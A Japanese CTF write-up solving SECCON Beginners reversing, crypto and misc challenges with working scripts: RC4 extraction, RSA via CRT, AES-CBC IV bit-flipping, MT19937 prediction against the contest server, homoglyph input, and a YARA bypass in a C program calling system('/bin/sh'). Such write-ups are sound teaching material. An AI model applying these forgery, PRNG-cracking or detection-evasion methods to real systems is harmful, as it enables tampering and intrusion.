バイナリと暗号化ファイルが渡されます。 Ghidraで解析するとテーブルからELFファイルを生成し実行するpackerとして動いていることがわかるので、適当に取り出します。 復元後のELFをGhidraで見ると、RC4で暗号化していることがわかるので適当に抜き出せば解けます。

from Crypto.Cipher import ARC4
table = b'\x62\x31\x34\x62\x65\x37\x60\x32\x69\x3c\x68\x6f\x6a\x3b\x6d\x6e\x71\x26\x23\x2b\x23\x2d\x21\x24\x2c\x2f\x2f\x78\x79\x24\x29\x2f\x44\x11\x16\x45\x10\x10\x1f\x43'
table = list(table)
for i in range(len(table)):
    table[i] = table[i] ^ i

cipher = ARC4.new(bytes(table))

enc = b'\x27\xd9\x65\x3a\x0f\x25\xe4\x0e\x81\x8a\x59\xbc\x33\xfb\xf9\xfc\x05\xc6\x33\x01\xe2\xb0\xbe\x8e\x4a\x9c\xa9\x46\x73\xb8\x48\x7d\x7f\x73\x22\xec\xdb\xdc\x98\xd9\x90\x61\x80\x7c\x6c\xb3\x36\x42\x3f\x90\x44\x85\x0d\x95\xb1\xee\xfa\x94\x85\x0c\xb9\x9f\x00'

print(cipher.decrypt(enc))

ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}

crypto

Coughing Fox [beginner, 443 solves]

from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)

flag[i]をiで加工したあとシャッフルした配列が与えられます。何も考えずシャッフル元とシャッフル先とcを総当たりすれば十分です。

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

plaintext = [0] * len(cipher)

for i in range(len(cipher)):
    for j in range(len(cipher)):
        for c in range(0x20, 0x80):
            if cipher[i] == (c + j) ** 2 + j:
                plaintext[j] = c

print(bytes(plaintext))

ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

PrimeParty [easy, 58 solves]

from Crypto.Util.number import *
from secret import flag
from functools import reduce
from operator import mul


bits = 256
flag = bytes_to_long(flag.encode())
assert flag.bit_length() == 455

GUESTS = []


def invite(p):
    global GUESTS
    if isPrime(p):
        print("[*] We have been waiting for you!!! This way, please.")
        GUESTS.append(p)
    else:
        print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.")
    print("-*-*-*-*-*-*-*-*-*-*-*-*-")


invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))

for i in range(3):
    print("[*] Do you want to invite more guests?")
    num = int(input(" > "))
    invite(num)


n = reduce(mul, GUESTS)
e = 65537
cipher = pow(flag, e, n)

print("n =", n)
print("e =", e)
print("cipher =", cipher)

7個の素数によるRSAで、3個の素数をこちらで指定できます。大きい素数を使えばなんかうまく解けるのかな~と思ったんですが具体的にどう解けるのかよくわからなかったです。(想定解はそれでした)

自分は小さい素数pを用意すればあまり気にしないでmod pで考えられそうだと思ったので小さい素数a,b,cを用意してsageのCRTで復元しました。結果的に見れば遠回りでしたね。

from Crypto.Util.number import *
n = 110544380959817374226645660776504537901697420621163082882949438786586863618774188118708024426441923525457983976652545618454350788796232809448828821118535587481104901895038293805873461492486588408210381654317945902217729026969218645012683005005622264109156098290348176726965296562676256602979202696732603489848284462851163561477281872754622117491453080809616630931693876913055587011882915117505024563866322667714949001017850476682160257971253294921720403997165388898036043353226133117365541022521033956609646194579894950999739
e = 65537
cipher = 94654663589270719552650487027771771677396564764746625427846343959613893852151417966781821414898470770492372693354685561466919160632012963124952750391744044682050800483236162603173662501107669928736324325013842313908648341877116451751689328085802476744563398745287363889933842937103127135023309676818648542640038890996487060094667954417527397986483257486659041794249164728802671858333246161821649182407683598303796319230342776267544570374581818807500840469316530002078820745592011679700059185926212944380621804540288233204242

a = 1445986295259648585203132354106987676786859310189430363575552676421941297
b = 1751184247523558403004256192774444910622277182348558014106912730597188567
c = 973836236185621735004821667397628627579264471592720331910707370191372503
# n1 = p1*p2*p3*p4*a*b*c
# c = m^e mod n1
# c mod p = m^e mod p
# c^-e mod p = m mod p

assert n % (a * b * c) == 0
assert 240 * 3 > 455
ma = Integer(pow(cipher, pow(e, -1, (a-1)), a))
mb = Integer(pow(cipher, pow(e, -1, (b-1)), b))
mc = Integer(pow(cipher, pow(e, -1, (c-1)), c))
# print(ma)

m = crt([ma, mb, mc], [a, b, c])
print(long_to_bytes(m))

ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}

Command [easy, 88 solves]

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import isPrime
from secret import FLAG, key
import os


def main():
    while True:
...
        select = int(input('> '))

        if select == 1:
            encrypt()
        elif select == 2:
            execute()
        elif select == 3:
            break
        else:
            pass

        print()


def encrypt():
    print('Available commands: fizzbuzz, primes, getflag')
    cmd = input('> ').encode()

    if cmd not in [b'fizzbuzz', b'primes', b'getflag']:
        print('unknown command')
        return

    if b'getflag' in cmd:
        print('this command is for admin')
        return

    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    enc = cipher.encrypt(pad(cmd, 16))
    print(f'Encrypted command: {(iv+enc).hex()}')


def execute():
    inp = bytes.fromhex(input('Encrypted command> '))
    iv, enc = inp[:16], inp[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    try:
        cmd = unpad(cipher.decrypt(enc), 16)
        print(cmd)
        if cmd == b'fizzbuzz':
            fizzbuzz()
        elif cmd == b'primes':
            primes()
        elif cmd == b'getflag':
            getflag()
    except ValueError:
        pass


def fizzbuzz():
    ...


def primes():
    ...


def getflag():
    print(FLAG)

AES-CBCで暗号化されたコマンドのみを実行できるプログラムがサーバーで動いています。 getflagを実行したいですが、getflagを暗号化した結果を得られることができないので何とか復号文をgetflagにしたいです。 復号時には暗号文とivを渡すのですが、改竄に対して特に対策されていないのでivを改竄することで復号時の1ブロック目を好きな結果に変えることが可能です。

ja.wikipedia.org

fizzbuzzを暗号化した結果を取得し、以下のプログラムを実行すると復号したときに結果がgetflagとなるように調整されたものが得られます。あとはそのまま復号させてやればgetflagが実行されるのでフラグが得られます。

from Crypto.Util.Padding import pad, unpad

fizzbuzz = list(bytes.fromhex(input("Fizzbuzz token: ")))
iv, enc = fizzbuzz[:16], fizzbuzz[16:]

old_cmd = pad(b"fizzbuzz", 16)
cmd = pad(b"getflag", 16)
for i in range(len(old_cmd)):
    iv[i] ^= old_cmd[i] ^ cmd[i]

print(bytes(iv+enc).hex())

ctf4b{b1tfl1pfl4ppers}

この攻撃、bit flipping attackって言うんですね(初めて知った)

Unpredictable Pad [medium, 35 solves]

以下のようなサーバーが動いています。

def main():
    r = random.Random()

    for i in range(3):
        try:
            inp = int(input('Input to oracle: '))
            if inp > 2**64:
                print('input is too big')
                return

            oracle = r.getrandbits(inp.bit_length()) ^ inp
            print(f'The oracle is: {oracle}')
        except ValueError:
            continue

    intflag = int(FLAG.encode().hex(), 16)
    encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
    print(f'Encrypted flag: {encrypted_flag}')

要約すると、64bit以下のgetrandbits()を三回得られるので次のgetrandbitsを予測してくださいという問題です。

pythonのrandomは疑似乱数なので十分なサンプルがあれば予測が可能ですが、64bit×3ではとても足りません。どうするかというと、負の値に関してはチェックが入っていないのでクソデカ負値を入れれば大量のサンプルが得られるので、予測が可能です。

from pwn import *
from randcrack import RandCrack
from Crypto.Util.number import long_to_bytes, bytes_to_long
import copy

rc = RandCrack()

# io = process(["python3", "chal.py"])
io = remote("unpredictable-pad.quals.beginners.seccon.jp", 9777)

io.sendlineafter("Input to oracle: ", str(-2**(32*624)+1))
io.recvuntil("The oracle is: ")
randval = int(io.readline()) ^ (-2**(32*624)+1)
print(hex(randval))
mask = ((1 << 32) - 1)
# https://github.com/AdityaVallabh/ctf-write-ups/blob/master/CSAW%20Finals%202018/Disastrous%20Security%20Apparatus/README.md
for i in range(624):
    val = (randval >> (i * 32)) & mask
    # print(hex(val))
    rc.submit(val)

io.sendlineafter("Input to oracle: ", "0")
rc.predict_getrandbits(0)
io.sendlineafter("Input to oracle: ", "0")
rc.predict_getrandbits(0)

io.recvuntil("Encrypted flag: ")
enc_flag = int(io.readline())
old_rc = rc
for i in range(0x100):
    rc2 = copy.deepcopy(rc)
    flag = long_to_bytes(enc_flag ^ rc2.predict_getrandbits(i))
    print(flag)
    if flag[:5] == "ctf4b":
        break

(このプログラムだと全文復号できなかったが、f4b{~までは復号できたので問題なし)

ctf4b{M4y_MT19937_b3_w17h_y0u}

omni-RSA (未解決) [hard, 13 solves]

sをこねくり回してCopper smith's attackするやつだ!と察しがつきましたが式変形できるほどのcrypto筋がないので早々に諦めました。crypto筋をつけたい

misc

H2 [easy, 248 solves]

pcapとサーバーのソースコードが渡されます。

package main

import (
  "net/http"
  "log"
  "fmt"
  "golang.org/x/net/http2"
  "golang.org/x/net/http2/h2c"
)

const SECRET_PATH = "<secret>"

func main() {
  handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == SECRET_PATH {
      w.Header().Set("x-flag", "<secret>")
    }
    w.WriteHeader(200)
    fmt.Fprintf(w, "Can you find the flag?\n")
  })

  h2s := &http2.Server{}
  h1s := &http.Server{
    Addr:    ":8080",
    Handler: h2c.NewHandler(handler, h2s),
  }

  log.Fatal(h1s.ListenAndServe())
}

x-flagヘッダにフラグがあるらしいので、x-flagヘッダが付いているパケットを探せば良さそうです。 Wireshark力がなく特定のヘッダについて検索できるクエリを知らなかったので、http2.header.countが他と違うものを探すようにすると見つかりました。

ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}

phisher [easy, 238 solves]

モグラフ攻撃を体験してみましょう。 心配しないで!相手は人間ではありません。

OCRwww.example.comと認識され、一文字もwww.example.com中の文字を使っていない文字列を入れるとフラグが得られます。Homoglyph Attack Generator and Punycode Converter を使ってガチャガチャしてると解けました。最終的な文字列はŵŵŵ․ехаⅿрⅼе․сοⅿです。

ctf4b{n16h7_ph15h1n6_15_600d}

hitchhike4b [medium, 125 solves]

import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)

if __name__ == "__main__":
    flag1 = "********************FLAG_PART_1********************"
    help() # I need somebody ...

if __name__ != "__main__":
    flag2 = "********************FLAG_PART_2********************"
    help() # Not just anybody ...

Pythonのhelp()内からflag1, flag2を読めというチャレンジです。help()はmoduleの情報を表示できそうなので、現在実行しているモジュールを指す__main__にアクセスするとflag1を得られました。

help> __main__
Help on module __main__:

NAME
    __main__

DATA
    __annotations__ = {}
    flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

flag2は__name__ != "__main__"を満たすように外部からモジュールから呼び出す必要があります。先程得られたapp_35f13ca33b0cc8c9e7d723b78627d39aceeac1fcを入力するとモジュールとして呼び出すことができたので、再度app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fcを入力するとモジュールの情報が出力されflag2が得られました。

help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
...
Welcome to Python 3.10's help utility!
...

help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:

NAME
    app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
    flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}

ultra_super_miracle_validator [easy, 40 solves]

rule MalElf {
    meta:
        description = "Malicious ELF binary"

    strings:
        $x1 = {e3 82 89 e3 81 9b e3 82 93 e9 9a 8e e6 ae b5}
        ...
        $x40 = {2b 65 64 67 2d 2b 57 38 59 2d 2b 4d 47 34 2d 2b 64 6f 63 2d}

        
    condition:
        not (($x1 or $x6 or $x12 or not $x21 or $x32) and ($x3 or $x5 or not $x11 or $x24 or $x35) and (not $x3 or $x31 or $x40 or $x9 or $x27) and ($x4 or $x8 or $x10 or $x29 or $x40) and ($x4 or $x7 or $x11 or $x25 or not $x36) and ($x8 or $x14 or $x18 or $x21 or $x38) and ($x12 or $x15 or not $x20 or $x30 or $x35) and ($x19 or $x21 or not $x32 or $x33 or $x39) and ($x2 or $x37 or $x19 or not $x23) and (not $x5 or $x14 or $x23 or $x30) and (not $x5 or $x8 or $x18 or $x23) and ($x33 or $x22 or $x4 or $x38) and ($x2 or $x20 or $x39) and ($x3 or $x15 or not $x30) and ($x6 or not $x17 or $x30) and ($x8 or $x29 or not $x21) and (not $x16 or $x1 or $x29) and ($x20 or $x10 or not $x5) and (not $x13 or $x25) and ($x21 or $x28 or $x30) and not $x2 and $x3 and not $x7 and not $x10 and not $x11 and $x14 and not $x15 and not $x22 and $x26 and not $x27 and $x34 and $x36 and $x37 and not $x40)
}

このyaraルールに弾かれないCのプログラムを書けという問題です。とりあえず脳死で条件式を反転させてz3にぶち込みます。(こういうのを書くときは正規表現での置換が便利)

from z3 import *

x_byte = [[] for i in range(41)]

s = Solver()

x_byte[1]  = [0xe3, 0x82, 0x89, 0xe3, 0x81, 0x9b, 0xe3, 0x82, 0x93, 0xe9, 0x9a, 0x8e, 0xe6, 0xae, 0xb5]
x_byte[2]  = [0xe3, 0x82, 0xab, 0xe3, 0x83, 0x96, 0xe3, 0x83, 0x88, 0xe8, 0x99, 0xab]
...

for i in range(len(x_byte)):
    x_byte[i] = bytes(x_byte[i])
    # print(i, x_byte[i])

x = [Bool(f"x{i}") for i in range(41)]

a = And(Or(x[1], x[6], x[12], Not(x[21]), x[32]), Or(x[3], x[5], Not(x[11]), x[24], x[35]), ...)

s.add(a)

while s.check() == sat:
    print(s)
    m = s.model()
    # print(m)
    a = b""
    for i, xi in enumerate(x):
        if m[xi]:
            a += x_byte[i]
    b = ""
    for c in a:
        b += f"0x{c:02x}, "
    print(b)
    s.add(And([xi == m[xi] for xi in x]))

実行してみると、条件を満たす組み合わせは一つしか見つかりませんでした。つまりそれらのバイト列を含んだバイナリを吐くCプログラムを書けばよいので、以下のようなCプログラムを入力するとフラグが得られました。

char a[9999] = {0xe5, ... 0x2b}; int main(void){system("/bin/sh");}

ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5}

感想

ctf4bのwriteupってCTF初見の人も全部わかるように書くのがよいのだろうけど、それやるとこれ以上にwriteupが長くなるのでやめました。そのような人がいたら申し訳ないです。

トークライブでは今回は易化していると言われていましたが個人的には前回と比べて簡単な問題が減っているように感じました。しかし、簡単な問題を面白く作るというのは非常に難しいので作問陣も苦労してそうですね... (一回教育的な良い問題が出ると、その問題がどうしても壁になる問題もある)

久しぶりのCTFなので一応全完する意気込みで挑戦したのですが、pwnとcryptoで2問残しという結果になりました。miscが2問残った去年と比べると主要ジャンルを落としている分ちょっと悪い結果なのかなと思います。来年こそは全完したいですね...